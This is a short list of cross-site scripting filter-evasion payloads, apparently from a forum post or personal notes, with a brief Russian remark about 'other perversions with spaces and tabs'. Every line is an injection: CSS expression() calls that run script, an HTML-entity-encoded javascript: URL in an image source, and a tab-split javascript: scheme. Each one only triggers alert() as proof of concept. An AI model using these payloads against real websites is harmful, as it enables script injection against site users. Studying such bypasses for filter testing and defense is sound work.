<span style=top:expression(alert())></span>
<span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span>
<img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()>
<img src="javascript	:alert()"> и прочие извращения с пробелами и табуляцией